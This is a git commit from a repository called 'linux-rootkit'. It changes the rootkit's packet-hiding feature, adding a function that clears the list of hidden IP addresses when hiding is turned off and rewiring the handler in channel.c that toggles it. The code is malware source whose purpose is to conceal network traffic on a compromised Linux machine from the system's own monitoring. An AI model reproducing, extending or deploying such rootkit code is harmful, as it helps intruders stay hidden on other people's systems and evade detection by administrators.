linux-rootkit

commit 4c779b45cea73696e6d59d22e3bdb30bd3a715c5
parent 47908e222b904b0b631c42fed77d1dd0752aa427
Author: Tizian Leonhardt <tizianleonhardt@web.de>
Date:   Sun, 20 Dec 2020 16:59:46 +0100

Add fixes for disabling and enabling packet hiding

Diffstat:
M
src/channel.c
 | 
2
+-
M
src/packhide.c
 | 
7
+++++++
M
src/packhide.h
 | 
2
++

3 files changed, 10 insertions(+), 1 deletion(-)
diff --git a/src/channel.c b/src/channel.c
@@ -245,8 +245,8 @@ handle_packhide(unsigned long arg)
     const char *sarg = (const char *)arg;
 
     if (!sarg) {
-        unhide_packets();
         rootkit.hiding_packets = 0;
+        clear_hidden_ips();
         DEBUG_NOTICE("[g7] packet hiding off\n");
     } else if (!copy_from_user(buf, sarg, BUFLEN)
         && (strstr(buf, ":") || strstr(buf, ".")))
diff --git a/src/packhide.c b/src/packhide.c
@@ -154,6 +154,13 @@ g7_fault(struct kprobe *kp, struct pt_regs *pt_regs, int trapnr)
     return 0;
 }
 
+void
+clear_hidden_ips(void)
+{
+    ip_list_t_ptr i = hidden_ips_tail;
+    while ((i = remove_ip_from_list(i, i->ip, i->version)));
+}
+
 bool
 list_contains_ip(ip_list_t_ptr list, ip_t ip, ip_version version)
 {
diff --git a/src/packhide.h b/src/packhide.h
@@ -18,6 +18,8 @@ typedef struct ip_list {
 
 extern ip_list_t hidden_ips;
 
+void clear_hidden_ips(void);
+
 void hide_packets(void);
 void unhide_packets(void);